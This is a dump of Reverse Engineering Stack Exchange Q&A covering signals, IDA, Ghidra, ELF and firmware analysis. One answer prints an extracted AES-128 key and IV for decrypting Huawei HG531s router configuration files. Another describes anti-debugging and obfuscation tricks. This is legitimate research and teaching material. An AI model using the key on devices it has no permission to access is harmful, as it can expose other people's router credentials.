        "Answer": "<p>An excellent reference (probably the best one) that can be consulted for this type of problem is <a href=\"http://man7.org/tlpi/\" rel=\"nofollow noreferrer\">The Linux Programming Interface</a>, which includes 3 full chapters on the topic of signals:</p>\n\n<ul>\n<li>Signals: Fundamental Concepts</li>\n<li>Signals: Signal Handlers</li>\n<li>Signals: Advanced features</li>\n</ul>\n\n<p>These chapters include example code as well as diagrams and clear explanations.\n(A free pdf of the book can easily be found online.)</p>\n\n<p>See also: <a href=\"https://www2.cs.arizona.edu/~debray/Publications/obf-signal.pdf\" rel=\"nofollow noreferrer\">Binary Obfuscation Using Signals</a></p>\n\n<p>To your questions:</p>\n\n<blockquote>\n  <p>What would be the most \"trap-able\" segfault ? a call to a null function pointer ? a double-free ? ... ?</p>\n</blockquote>\n\n<p>A signal handler, should it exist, will be called by the kernel on the basis of the signal (specifically, its number as defined in <code>&lt;signal.h&gt;</code>), rather than the specific event that triggered the signal. This means that you are free to decide what kind of invalid memory reference to make in order to trigger a segmentation fault. Dereferencing a null pointer is probably the most reliable, since it guarantees program behavior will be deterministic, as a segmentation fault will always occur irrespective of stack contents or the layout of the process in memory.</p>\n\n<hr>\n\n<blockquote>\n  <p>What can i do in my signal handler ? It seems there are some harsh condition (reentrancy, async-signal-safe function,...).</p>\n</blockquote>\n\n<p>You have several options. But first, a bit about non-reentrant library functions:</p>\n\n<blockquote>\n  <p>Functions can also be <em>nonreentrant</em> if they use static data structures for their\n  internal bookkeeping. The most obvious examples of such functions are the members of the <code>stdio</code> library (<code>printf()</code>, <code>scanf()</code>, and so on), which update internal data structures for buffered I/O. Thus, when using <code>printf()</code> from within a signal handler, we may sometimes see strange output\u2014or even a program crash or data corruption\u2014if the handler interrupts the main program in the middle of executing a call to <code>printf()</code> or another <code>stdio</code> function.</p>\n</blockquote>\n\n<p>The important part is the last sentence. Implementing an exception handler for <code>SIGSEGV</code> may result in unintended signal handler behavior if non-reentrant library functions are called within the exception handler, since it may be possible to trigger a segmentation fault outside of the specific conditions you anticipate. For example, when user input is read into a buffer via <code>scanf</code>, unless bounds checking is properly implemented, a buffer overflow due to 1000 'A's being entered can result in <code>SIGSEGV</code> being sent to the process, which will then trigger the exception handler during the execution of an <code>stdio</code> function. If the signal handler also calls an <code>stdio</code> function, undefined behavior may occur.</p>\n\n<ul>\n<li><p>The most interesting approach for your case would probably be changing the <code>uc_mcontext.gregs[REG_RIP]</code> (RIP here is the x86-64 instruction pointer) value in the signal handler's <code>context</code> struct to point to a function somewhere else in the program. After the signal handler finishes, program execution would resume at that function. Alternatively, the <code>uc_mcontext.gregs[REG_RIP]</code> value can incremented to skip/jump over the instructions that caused the signal handler to execute in the first place. This means that the signal handler could be designed to simply jump to a different location in the program upon  receiving <code>SIGSEGV</code>. This approach, (or alternatively, executing a nonlocal goto), eliminates the need for any I/O to be performed by the signal handler (no need for <code>printf()</code>, etc.). The drawback is that this approach is architecture-dependent. Examples illustrating this technique can be found in the following article: <a href=\"https://devarea.com/linux-writing-fault-handlers/#.XRsCCnXwbVO\" rel=\"nofollow noreferrer\">Linux - Writing Fault Handlers</a>. Some related example code can also be found here: <a href=\"https://stackoverflow.com/questions/6768426/in-a-signal-handler-how-to-know-where-the-program-is-interrupted\">In a signal handler, how to know where the program is interrupted?</a></p></li>\n<li><p>Note that since it is possible for a process to send a signal to itself, it is not necessary to choose <code>SIGSEGV</code> as the handled signal; <code>getpid()</code> and <code>kill()</code> can be used to send some other signal to the process in order to trigger the signal handler. </p></li>\n<li><p>Additionally, it is possible to execute a non-local goto from within the exception handler itself via functions <code>sigsetjmp()</code> and <code>siglongjmp()</code>. Unlike using <code>uc_mcontext.gregs[XXX]</code> to modify the instruction pointer, this approach appears to be portable:</p>\n\n<ul>\n<li><blockquote>\n  <p>In general, it is preferable to write simple signal handlers. One important reason for this is to reduce the risk of creating race conditions. Two common designs for signal handlers are the following:</p>\n  \n  <ul>\n  <li>The signal handler sets a global flag and exits. The main program periodically\n  checks this flag and, if it is set, takes appropriate action. (If the main program\n  cannot perform such periodic checks because it needs to monitor one or more\n  file descriptors to see if I/O is possible, then the signal handler can also write a single byte to a dedicated pipe whose read end is included among the file\n  descriptors monitored by the main program. We show an example of this technique in Section 63.5.2.)</li>\n  <li>The signal handler performs some type of cleanup and then either terminates\n  the process or uses a nonlocal goto (Section 21.2.1) to unwind the stack and\n  return control to a predetermined location in the main program. </li>\n  </ul>\n</blockquote></li>\n<li><blockquote>\n  <p>[Executing a nonlocal goto] provides a way to recover after delivery of a signal caused by a hardware exception (e.g., a memory access error), and also allows us to catch a signal and return control to a particular point in a program. For example, upon receipt of a SIGINT signal (normally generated by typing Control-C), the shell performs a nonlocal goto to return control to its main input loop (and thus read a new command).</p>\n</blockquote></li>\n</ul></li>\n</ul>\n\n<hr>\n\n<p>Supplementary info:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Q3j2S.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Q3j2S.png\" alt=\"Signal delivery and handler execution\"></a></p>\n\n<blockquote>\n  <p>A signal is a notification to a process that an event has occurred. Signals are sometimes described as software interrupts. Signals are analogous to hardware interrupts in that they interrupt the normal flow of execution of a program; in most cases, it is not possible to predict exactly when a signal will arrive.\n  One process can (if it has suitable permissions) send a signal to another process.\n  In this use, signals can be employed as a synchronization technique, or even as a\n  primitive form of interprocess communication (IPC). It is also possible for a process to send a signal to itself. However, the usual source of many signals sent to a process is the kernel.</p>\n</blockquote>\n\n<hr>\n\n<p>Reference: The Linux Programming Interface, chapters 20 and 21</p>\n"
    },
    {
        "Id": "21604",
        "CreationDate": "2019-07-02T22:14:26.020",
        "Body": "<p>I have a program that waits for the user to enter a string input, how can I enter that string input while debugging my program with IDA?</p>\n",
        "Title": "How can I pass input to my program while debugging it with IDA",
        "Tags": "|ida|linux|",
        "Answer": "<p>You can use I/O redirection operators in the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1398.shtml\" rel=\"nofollow noreferrer\">Process options-Parameters field</a>:</p>\n\n<blockquote>\n  <p>The standard input/output/error channels can be redirected using the\n  bash shell notations. for example: <code>&gt;output 2&gt;&amp;1</code></p>\n</blockquote>\n"
    },
    {
        "Id": "21606",
        "CreationDate": "2019-07-04T00:26:53.087",
        "Body": "<p>I have the following hex byte data. Can someone help me reverse engineer the temperatures calculation?</p>\n\n<pre><code>ID\n||\n81 00 8c 00 \n82 00 aa 00 \n83 00 04 01 \n84 00 ff 00 \n85 00 21 04 \n</code></pre>\n\n<p>The first byte is the id! 81-84=1-4</p>\n\n<p>One of the data is 14,0 C\u00b0 and another one is 17,0 C\u00b0.</p>\n\n<p>My tries:<br>\n- (Second Byte * 10) + (Third Byte *10/256)<br>\n- (Second Byte - 0x80) / 2<br>\n- (Second Byte / 2) - 0x80<br>\n- Second Byte * 100<br>\n- (Second Byte / 2) - 20</p>\n",
        "Title": "Reverse Engineering Temperatures (RS485 Bus)",
        "Tags": "|decryption|",
        "Answer": "<p>I would guess that this is raw (unencoded) data and every row is consisted of two 16 bit integers stored in little-endian order. This means that</p>\n\n<pre><code>temperature = (float)(b[3] &lt;&lt; 8 + b[2]) / 10;\n</code></pre>\n\n<p>where <code>b[2]</code> is the third byte and <code>b[3]</code> is the fourth.</p>\n\n<p>So using the above formula, the data would yield the following temperatures:</p>\n\n<pre><code>81 00 8c 00; #Measurement 0x0081 - 14.0\n82 00 aa 00; #Measurement 0x0082 - 17.0\n83 00 04 01; #Measurement 0x0083 - 26.0\n84 00 ff 00; #Measurement 0x0084 - 25.5\n85 00 21 04; #Measurement 0x0085 - 105.7\n</code></pre>\n\n<p>Update:</p>\n\n<p>Here is a Python snippet which does the conversion given a string with space-separated hex values:</p>\n\n<pre><code>input = \"81 00 8c 00\"\nbyte_arr = input.split(\" \")\n\nfor i in range(len(byte_arr)):\n    byte_arr[i] = int(byte_arr[i], 16)\n\nmeasurement_id = byte_arr[1] &lt;&lt; 8 | byte_arr[0]\ntemperature = (byte_arr[3] &lt;&lt; 8 | byte_arr[2]) / 10.0\n\nprint(\"Measurement: %d\" % measurement_id)\nprint(\"Temperature: %.2f C\u00b0\" % temperature)\n</code></pre>\n"
    },
    {
        "Id": "21618",
        "CreationDate": "2019-07-05T17:14:42.103",
        "Body": "<p><a href=\"https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/\" rel=\"nofollow noreferrer\">I have tried to follow this guide</a> but \nlibxmlapi.so didn't have the required ATP_GetInfo1 function\nso i moved to the next file libhttpapi.so \nit had </p>\n\n<pre><code>ATP_GetInfo1\nATP_GetInfo2 \nATP_GetInfo3 \nATP_GetInfo4\n</code></pre>\n\n<p>so i copied the first two .</p>\n\n<p>then ATP_GetInfo3 from libcfmapi.so file </p>\n\n<p>then ATP_GetInfo4 from libmsgapi.so file\n.... and when i tried to run the script <a href=\"https://pastebin.com/zJechi09\" rel=\"nofollow noreferrer\">decode_keystore.py</a> but it gave me </p>\n\n<blockquote>\n  <p>ValueError: Input strings must be a multiple of 16 in length</p>\n</blockquote>\n\n<p>.... and i think because the values wasn't in the same length </p>\n\n<p><a href=\"https://www.mediafire.com/file/4x8y97j256uvd04/hg531s1.BIN/file\" rel=\"nofollow noreferrer\">The firmware file</a> </p>\n",
        "Title": "how can i decrypt huawei HG531s v1 config file?",
        "Tags": "|ida|binary-analysis|firmware|encryption|python|",
        "Answer": "<p>I mailed <a href=\"https://www.nirsoft.net/utils/router_password_recovery.html\" rel=\"nofollow noreferrer\">Nirsoft RouterPassView</a> tool creator for about a month and he figured the way to decrypt it after so many tries ... and it wasn't the way that you mentioned in the article at all but it was in one of the mentioned files <code>libcfmapi.so</code></p>\n<p>and finally when he figured it out he said</p>\n<blockquote>\n<p>It's from the strings I found, but I had to put them in different\norder: (look in the colored chars):\n<a href=\"https://i.stack.imgur.com/AZlxd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AZlxd.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<p>the order he used was for the key you take one character from all the first four strings then the second then third till the end of these stings after the equal mark and repeat and for the IV you did the same for the last four strings\nso it results into this</p>\n<blockquote>\n<p>IV: F64D19C622D7C01176C3F02E0E941F31</p>\n<p>Key (AES128) : B5662E0C6DEC255FD25A159A6CB3E454</p>\n</blockquote>\n"
    },
    {
        "Id": "21619",
        "CreationDate": "2019-07-05T20:07:41.777",
        "Body": "<p>Why have two symbol tables if <code>.symtab</code> already contains everything that's in <code>.dynsym</code> ?</p>\n",
        "Title": "Why have two symbols tables?",
        "Tags": "|linux|elf|",
        "Answer": "<p>The short answer is that the <code>.dynsym</code> table is used by the dynamic linker (also referred to as the runtime loader or RTLD) at program load time to determine which DLLs to map into the address space of the program being loaded into memory. As a result, the <code>.dynsym</code> <em>section</em> is mapped to a loadable <em>segment</em> (specifically, the <code>text</code> segment) and therefore included in the runtime process image in virtual memory when the kernel loads the program segments. As a reflection of this, the Sys V ABI actually requires the <em>dynamic linking array</em> to contain a dynamic symbol hash table, a string table for symbols and library names, and the dynamic symbol table.</p>\n\n<p>On the other hand, the <code>.symtab</code> section is not needed for process creation, is not mapped to a loadable segment and therefore is not loaded into memory when the program is executed, and so can be removed, along with section information.</p>\n\n<p>Dynamic linking and its requirements are discussed in much greater detail in the following articles:</p>\n\n<ul>\n<li><p><a href=\"http://www.muppetlabs.com/~breadbox/software/tiny/somewhat.html\" rel=\"noreferrer\">A Whirlwind Tutorial on Creating Somewhat Teensy ELF Executables for Linux (or, \"Okay Maybe Size Isn't Quite Everything\")</a></p>\n\n<p>Here the author set about creating the smallest possible dynamically-linked ELF binary, which contains only that which is required for the program to successfully  load and execute. </p></li>\n<li><p><a href=\"https://grugq.github.io/docs/subversiveld.pdf\" rel=\"noreferrer\">Cheating the ELF</a></p>\n\n<p>The process of dynamic linking and its requirements are discussed in order to explain how it is possible for code inserted into a code cave to make calls to library functions.</p></li>\n<li><p><a href=\"http://michalmalik.github.io/elf-dynamic-segment-struggles\" rel=\"noreferrer\">ELF: dynamic struggles</a></p>\n\n<p>Process creation via cooperation between the kernel and dynamic linker is explored using r2 and binaries that have had all section information removed via <code>sstrip</code>.</p></li>\n</ul>\n\n<p>For more information, see chapter 5 of the Sys V ABI - \"Program Loading and Dynamic Linking\", as well as the LWN article <a href=\"https://lwn.net/Articles/631631/\" rel=\"noreferrer\">How programs get run: ELF binaries\n</a>. </p>\n"
    },
    {
        "Id": "21621",
        "CreationDate": "2019-07-06T00:38:02.723",
        "Body": "<p>So I have an embedded machine from the late 80s I want to mess around with. It uses a NEC v20HL which is an 8088 compatible with some extra 80186 instructions tossed in. I know it uses 64k code segments, reset vector at 0xFFFF0 and ISRs at 0x00 on even addresses.</p>\n\n<p>I have tried a bunch of different architectures and the only one that looks like 8088/x86 old school is the x86 real 16bit.</p>\n\n<p>I don't understand how to actually use that information as IDA disassembled even the reset jmpl wrong (EA 0000 FDAF) is clearly a far jump to seg 0 add 0xFDAF but IDA makes it seg000:0xDAF0. What is even worse is 0xFDAF jumps to a faulty instruction?..</p>\n",
        "Title": "IDA 7 not dissasembling NEC v20 code",
        "Tags": "|ida|",
        "Answer": "<p>So, it's a little difficult to describe it without the actual file but I'll try. For proper disassembly, you should load code so that it matches the expected addresses. For example, last 64K should normally be loaded into segment F000, so that the first byte of that segment is at F000:0000, or linear address 0xF0000 (seg&lt;&lt;4 + ofs).</p>\n\n<p>Some simple rules of thumb:</p>\n\n<ol>\n<li>64KB binary: load at F000:0000 (0xF0000)</li>\n<li>128KB binary: load at E000:0000 (0xE0000) </li>\n<li>256KB binary: load at C000:0000 (0xC0000) </li>\n<li>512KB binary: load at 8000:0000 (0x80000) </li>\n</ol>\n\n<p>Next, you'll need to create segments based on far jumps and calls, for example:</p>\n\n<p>EA 00 00 FD AF    jmp     far ptr 0AFFDh:0</p>\n\n<p>means there is a segment with the base 0xAFFD, so, create the following segment:</p>\n\n<pre><code> start address: 0xAFFD0 (base&lt;&lt;4)\n end address: 0xBFFD0 (maximum 64KB long)\n base: 0xAFFD\n (*) 16-bit\n</code></pre>\n\n<p>next, go through disassembly and look for other far jumps/calls to gather other possible segment bases (a good source for that is the problems list). Create corresponding segments (you will likely have to truncate some of the previously created ones; this is normal as segments using full 64KB are not very common). You may also need to use a start address not at seg:0 but small offset, e.g. seg:7 (so seg&lt;&lt;4 + 7). </p>\n\n<p>For most BIOS ROMs it may be be useful to create at least the last two segments (E000 and F000) straight away.</p>\n\n<p>For more info on how segmentation works in IDA, <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/508.shtml\" rel=\"nofollow noreferrer\">see here</a>.</p>\n\n<p>Related question: <a href=\"https://reverseengineering.stackexchange.com/questions/6067/\">Segments in IDA. How to overcome NONAME problem</a></p>\n"
    },
    {
        "Id": "21626",
        "CreationDate": "2019-07-07T14:37:55.007",
        "Body": "<p>I'm working on reversing some assembly code, and have worked it up into some pseudo code to start off with a reverse attempt. The function performs a kind of encryption on the data passed in, and I'm trying to decrypt it. However, I'm not quite sure where to begin with the reversal itself. Below is the algorithm I'm trying to reverse.</p>\n\n<p>Question: Since the encoded string is stored in rev3, wouldn't the string data stored there be obliterated when the AND instruction runs? I'm very new at this, but it seems like that wouldn't be reversible. The AND combined with shifts has me really confused. I would be grateful for an approach to reversing this.</p>\n\n<pre><code>string = [102, 111, 111] // the string \"foo\"\ncoded[3];\nfor (i = 0; i &lt; len(string); i++){\n\n  rev1 = rev2 = rev3 = string[i]\n\n  rev3 = rev3 &amp; 0x30 // obliterate here?\n  rev1 = rev1 &gt;&gt; 4\n\n  rev3 = rev3 ^ rev1\n  rev1 = rev2\n\n  rev1 = rev1 &amp; 1\n  rev2 = rev2 &lt;&lt; 1\n\n  rev1 = rev1 ^ rev2\n  rev3 = rev3 &gt;&gt; 2\n\n  rev1 = rev1 &lt;&lt; 2\n  rev3 = rev3 ^ rev1\n  rev3 = rev3 &amp; 0xff\n\n  coded[i] = rev3\n\n}\n</code></pre>\n",
        "Title": "Reversing AND / shift instructions used in succession",
        "Tags": "|assembly|x86|",
        "Answer": "<h1>The simplest solution</h1>\n<p>Since the function you provided operates on characters, there are only <code>256</code> possible inputs, so you may run a simple program to check return values for all chars from <code>0</code> to <code>255</code> to get :</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nint main()\n{\n    int rev1, rev2, rev3;\n    for (int i = 0; i &lt; 256; i++)\n    {\n        rev1 = rev2 = rev3 = i;\n        rev3 &amp;= 0x30;\n        rev1 &gt;&gt;= 4;\n        rev3 ^= rev1;\n        rev1 = rev2;\n        rev1 &amp;= 1;\n        rev2 &lt;&lt;= 1;\n        rev1 ^= rev2;\n        rev3 &gt;&gt;= 2;\n        rev1 &lt;&lt;= 2;\n        rev3 ^= rev1;\n        rev3 &amp;= 0xff;\n        printf(&quot;%d: %d\\n&quot;, i, rev3);\n    }\n}\n</code></pre>\n<p>You will get all possible values along with arguments, so you may just invert the output of the program above and you will get decrypting function.</p>\n"
    },
    {
        "Id": "21630",
        "CreationDate": "2019-07-08T14:13:11.747",
        "Body": "<p>I read the documentation of <a href=\"https://ghidra.re/ghidra_docs/analyzeHeadlessREADME.html#examples\" rel=\"noreferrer\">headleass analyzer</a>. It is used to perform analysis on existing binaries. I know that <code>-postscript</code> flag allows to enter the analysis script. I have a java script which works fine. But, I want to use python 3 for the analysis. I want to run that like:</p>\n\n<pre><code>./analyzeHeadless ghidra-project-directory -import binary-file -postscript yourpythonscript\n</code></pre>\n\n<p>Is it possible to run python script for the analysis? Also, is there any documentation available to do that?</p>\n\n<blockquote>\n  <p>Edit:</p>\n  \n  <p>I made a following script and it does work fine (but it gives me not\n  found errors for DecompInterface):</p>\n\n<pre><code>import ghidra.app.util.headless.HeadlessScript;\nimport ghidra.app.decompiler.ClangNode;\nimport ghidra.app.decompiler.ClangToken;\nimport ghidra.app.decompiler.ClangLine;\nimport ghidra.app.decompiler.ClangTokenGroup;\nimport ghidra.app.decompiler.DecompInterface;\nimport ghidra.app.decompiler.DecompileResults;\nimport ghidra.program.model.address.Address;\nimport ghidra.program.model.listing.CodeUnit;\nimport ghidra.program.model.listing.Function;\nimport ghidra.program.model.listing.FunctionIterator;\nimport ghidra.program.model.listing.InstructionIterator;\nimport ghidra.program.model.listing.Program;\nimport ghidra.program.model.listing.Variable;\nimport ghidra.program.model.pcode.HighFunction;\nimport ghidra.program.model.pcode.HighSymbol;\nimport ghidra.program.model.pcode.HighVariable;\nimport ghidra.program.model.pcode.LocalSymbolMap;\nimport ghidra.program.model.pcode.PcodeOp;\nimport ghidra.program.model.pcode.Varnode;\nimport ghidra.program.model.symbol.Symbol;\nimport ghidra.program.model.symbol.Reference;\nimport ghidra.program.model.symbol.ReferenceIterator;\nimport ghidra.util.task.ConsoleTaskMonitor;\n\nargs = getScriptArgs()\n\nprint(args)\n\np = currentProgram\nprint(p)\n\nfilename = \"/projects/zephyr/Ruturaj/ghidra_learning/\" + p.getName() + \".txt\"\nprint(filename)\n\n#di = DecompInterface()\n#print(di)\n</code></pre>\n</blockquote>\n",
        "Title": "ghidra: how to run a python 3 script with headless analyzer",
        "Tags": "|ghidra|",
        "Answer": "<p>I turns out that the python script can be used with headless analyzer script.</p>\n\n<p>Using the following command I can run it, just like the java file:</p>\n\n<pre><code>./analyzeHeadless ghidra-project-directory -import binary-file -postscript yourpythonscript\n</code></pre>\n\n<p>Apparently all the classes defined for java can be used directly in the python script.</p>\n\n<p>Particular class can be imported with <code>from import statements</code>, for example in java looks like:</p>\n\n<pre><code>import ghidra.program.model.listing.Variable;\n</code></pre>\n\n<p>And using python:</p>\n\n<pre><code>from ghidra.program.model.listing import Variable;\n</code></pre>\n\n<p>To import the <code>variable</code> class. The variable class can be imported just like java (see the import statement above). But, then you have to use the whole path name to access it. For example:</p>\n\n<pre><code>something = ghidra.program.model.listing.Variable()\n</code></pre>\n\n<p>So, in conclusion, the same script can be written using python by importing the classes without any issue. Hope this helps someone.</p>\n\n<blockquote>\n  <p>Edit:</p>\n  \n  <p>As @igor said in the comment, it works only with python 2.7 (as ghidra\n  relies on <code>Jython</code>). For python 3.x, something like\n  <a href=\"https://github.com/justfoxing/ghidra_bridge\" rel=\"noreferrer\"><code>ghidra_bridge</code></a> can be\n  used.</p>\n</blockquote>\n"
    },
    {
        "Id": "21633",
        "CreationDate": "2019-07-08T23:37:53.857",
        "Body": "<p>I'm adding copyright protection to a demo version of a shared library.  I've seem some recommendations to add timing around license violation detection codes -- which would be debugger + patch targets -- for example RDTSC, GetTickCount(), etc.  Unfortunately this shared library doesn't have timing related codes, so adding would stand out and make them relatively easy to find (I see that IDAPro can find all all occurrences of a single instruction such as RDTSC, so I assume OllyDbg can also).  Another suggestion is to strip section headers, but that seems applicable only for an exe, not a shared library.</p>\n\n<p>Currently, what is the leading edge way to either prevent a debugger from handling a shared library, or detect inside the lib that's it being debugged ?</p>\n",
        "Title": "anti-debugger techniques for shared library",
        "Tags": "|anti-debugging|shared-object|",
        "Answer": "<p>I don't know whether the advice I'll give you is the &quot;leading edge way&quot;, but I will describe some steps that you can perform in order to protect your software.</p>\n<h1>Is it possible to protect it such that no one will be able to crack it?</h1>\n<p><strong>No</strong>, and it's important to know that and keep in mind that what you really want to do is to <strong>keep it as hard to crack as possible</strong> and dishearten potential violator from doing that. So, you want to make it so complex and obfuscated that it would require a lot of work to change anything both statically and during the runtime.</p>\n<h1>Anti-debugging techniques</h1>\n<ul>\n<li><p><strong>Software breakpoints detection</strong></p>\n<p>As you probably know, to trigger a software breakpoint, debuggers use <code>int 3</code> instruction, i.e. when you put a software breakpoint at some address, debugger will overwrite the byte at that address to <code>0xCC</code> (<code>int 3</code> opcode) and when this instruction triggers the interrupt, a debugger will restore the byte that was previously there. That means that every software breakpoint <strong>will change some byte</strong> in the code section, so to detect it, you may create a function searching for <code>0xCC</code>.</p>\n</li>\n<li><p><strong>Control sum checking</strong></p>\n<p>It's a generalization of the previous technique. Instead of detecting only <code>0xCC</code>, you will detect any change made in code, including fragments replaced by <code>NOP</code>s. You want to apply it <strong>at the end</strong> of protection process so that you don't need to change required control sum value at each change made in the code. I would advise you to put functions checking checksums at many different places in your code and if possible make each of them slightly different (so that it's not so easy to find them all at once).</p>\n</li>\n<li><p><strong>Hardware breakpoint detection</strong></p>\n<p>Since hardware breakpoints don't require any changes in a process image, they cannot be detected using the above mentioned methods. They are implemented using <code>DR</code> registers and it's possible to create <code>4</code> of them as a maximum at given moment. To defend against them, you can just reset their values from time to time. <a href=\"https://en.wikipedia.org/wiki/X86_debug_register\" rel=\"nofollow noreferrer\">More info about debug registers</a>.</p>\n</li>\n<li><p><strong>Time / cycles checking</strong></p>\n<p>Since you have the source code, you can import other libraries even during runtime. On Linux you can do it via <code>dlopen</code> (to load library) and <code>dlsym</code> to get specific procedure from it.. Of course you should encrypt every string so that it's not straightforward to find out which functions you are using for measuring the time elapsed.</p>\n</li>\n</ul>\n<h1>Other tricks</h1>\n<ul>\n<li><p><strong>Inlining every function</strong></p>\n<p>That will stop debuggers from recognising library functions, thus will be very annoying for everyone who wants to analyse your code. Of course, using <code>C++</code> templates will also help. ;)</p>\n</li>\n<li><p><strong>Inserting junk code</strong></p>\n<p>You can put (and inline of course) many garbage functions that won't change your program behaviour, but it won't be obvious for person analysing disassembly. You don't have to write them yourself - you may use library functions as well.</p>\n</li>\n<li><p><strong>Being nasty</strong></p>\n<p>Of course, if someone is determined enough, he will eventually find all your control sum / breakpoint checking functions and <code>NOP</code> them out. But what if you put there some code that will have an impact on the rest of application? Consider:</p>\n</li>\n</ul>\n<pre><code>  bool isBeingDebugged\n  {\n    if (controlSum(address) &amp; rand() == requiredValue)\n      return true;\n    return false;\n  }\n</code></pre>\n<p>Above function not only checks for code integrity, but also modifies the <strong>global state</strong> of a program. For instance, if you use later on some string decoding function relying on <code>rand()</code> results, the application will likely behave differently if that function is simply replaced by <code>NOP</code>s.</p>\n<ul>\n<li><p><strong>Being creative</strong></p>\n<p>The best anti debugging technique is such that no one expects, so search, experiment and apply your own ideas.</p>\n</li>\n</ul>\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/43/anti-debug-techniques-on-unix-platforms\">Additional information</a></p>\n"
    },
    {
        "Id": "21651",
        "CreationDate": "2019-07-11T18:25:50.007",
        "Body": "<p>I have the following instruction in IDAs Decompiler:</p>\n\n<pre><code>result = data[3 * a1] + ptr;\n</code></pre>\n\n<p>and would like to know what is at the position if a1=60.</p>\n\n<p>So I have to look at data[180]. Unfortunately all I see there is</p>\n\n<pre><code>.rodata:EDDCCB10          data   dd 0, 10001h, 2 dup(1), 10001h, 1, 2, 10001h, 1, 3, 10001h\n.rodata:EDDCCB10                 dd 1, 4, 10001h, 1, 5, 10001h, 1, 6, 10001h, 1, 7, 10001h\n.rodata:EDDCCB10                 dd 1, 8, 10001h, 1, 0Ch, 10004h, 1, 10h, 10004h, 1, 14h\n.rodata:EDDCCB10                 dd 10004h, 1, 18h, 10004h, 1, 1Ch, 10004h, 1, 20h, 10004h\n.rodata:EDDCCB10                 dd 1, 24h, 10004h, 1, 28h, 10004h, 1, 2Ch, 10010h, 1, 3Ch\n.rodata:EDDCCB10                 dd 10040h, 1, 7Ch, 10006h, 1, 82h, 10001h, 1, 84h, 10078h\n</code></pre>\n\n<p>Of course I could just count 180 elements, but is there really no better way to know whats behind data[180] so I can look what the offset bases on ptr is?</p>\n",
        "Title": "IDA Pro jump to offset of DWORD",
        "Tags": "|ida|",
        "Answer": "<p>There is. Move the cursor to <code>data</code> and press <code>*</code>. Uncheck <code>Use \"dup\" construct</code> and select <code>Display indexes</code> option. You'll get something like this:\n<a href=\"https://i.stack.imgur.com/3Ocfo.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3Ocfo.jpg\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "21654",
        "CreationDate": "2019-07-12T04:29:55.807",
        "Body": "<p>I load my project into IDA 7 and select 8086 as this rom is a 512kb in the high address space. I apply an offset of 0x80000 and it loads properly.</p>\n\n<p>I then go to 0xFFFF0 and find a far jump to 0xFDAF:0x0 which has far jumps to 0xC000:0x0 and in that segment there are tons of 0xC000:0xNNN (lots of offsets).</p>\n\n<p>It was a nightmare creating and shrinking segments so I greped through the binary dump and pulled the 8 hex values after every far jump (0xEA). I then formatted and calculated the ohysical addresses.</p>\n\n<p>You can see in the segment list that the majority of segments overlap (eg):</p>\n\n<pre><code>0xC000:0x0000 = 0x0C0000\n0xC000:0x12DB = 0x0C12DB\n0xC003:0xA908 = 0x0CA938\n0xC003:0xC908 = 0x0CC938\n0xC007:0x506A = 0x0C50DA\n0xC013:0x0903 = 0x0C0A33\n</code></pre>\n\n<p>From a running code prospective overlapping segments are irrelevent but IDA can not have overlaps. How am I suppose to walk through the code?</p>\n\n<p>Files:<br>\n<a href=\"https://drive.google.com/file/d/1r1KbKReEaktIh43GC_pUbX1v8OivH5EA/view?usp=sharing\" rel=\"nofollow noreferrer\">ROM.BIN</a><br>\n<a href=\"https://pastebin.com/K6HGHiRi\" rel=\"nofollow noreferrer\">Segment List</a></p>\n\n<hr>\n\n<p>0x49cdb: ea08a903c0 = jmp 0xc003:a908</p>\n\n<pre><code>00049cb0: 8b36 4a90 8b16 2990 2bf2 5e73 0b8b deb3  .6J...).+.^s....\n00049cc0: 208b f3b0 08a2 8b90 f7c6 2000 7503 e9ab   ......... .u...\n00049cd0: fd8b c6e8 9200 240f 3c07 747e a08a 903c  ......$.&lt;.t~...&lt;\n00049ce0: 0774 05b0 00a2 8a90 a08b 903c 0874 03e9  .t.........&lt;.t..\n00049cf0: 8afd b200 b115 e8d7 45b0 d7e8 820d 8b36  ........E......6\n</code></pre>\n",
        "Title": "Dealing With x86 Segmentation Overlaps",
        "Tags": "|ida|x86|segmentation|",
        "Answer": "<p>igorsk gave a nice reply there </p>\n\n<p>this post is just to illustrate how you can use some standalone disassembler framework to look for proper ljmps instead of your xxd | tr  hacks</p>\n\n<p>I am using capstone below</p>\n\n<pre><code>PS F:\\zzzz&gt; Get-Content .\\rombi.py\nfrom capstone import *\n\nmd = Cs(CS_ARCH_X86, CS_MODE_16)\nfin = open(\"f:\\\\zzzz\\\\rom.bin\" , \"rb\")\nbuf = fin.read()\nfin.close()\nfsiz =  len(buf)\noffset = 0\nwhile (offset &lt; fsiz):\n        offset  =  buf.find(b\"\\xea\",offset)\n        if(offset != -1):\n                patt = buf[offset:offset+5]\n                for i in md.disasm( patt ,(0x80000+offset)):\n                        print(\"0x%x:\\t%s\\t%s\" %(i.address, i.mnemonic, i.op_str))\n                offset = offset + 1\n        else:\n                break\n</code></pre>\n\n<p>running and analyzing the results</p>\n\n<pre><code>PS F:\\zzzz&gt; $foo = python.exe .\\rombi.py\n\nPS F:\\zzzz&gt; $foo.Count\n484\n\nlast three far jumps\nPS F:\\zzzz&gt; $foo[($foo.Count - 4)..$foo.Count]\n0xfd7ce:        ljmp    0x2d20:0x4f00\n0xfd7e9:        ljmp    0x2d20:0x5800\n0xfdaf8:        ljmp    0xc000:0\n0xffff1:        ljmp    0xfdaf:0\n\nfirst three far jumps\nPS F:\\zzzz&gt; $foo[0..3]\n0x80162:        ljmp    0x507a:0xf0b8\n0x8019c:        ljmp    0x4b48:0x4a6b\n0x801fa:        ljmp    0xdae2:0xaa33\n0x803c0:        ljmp    0x9b74:0xaa4a\nPS F:\\zzzz&gt;\n</code></pre>\n"
    },
    {
        "Id": "21672",
        "CreationDate": "2019-07-14T19:08:11.400",
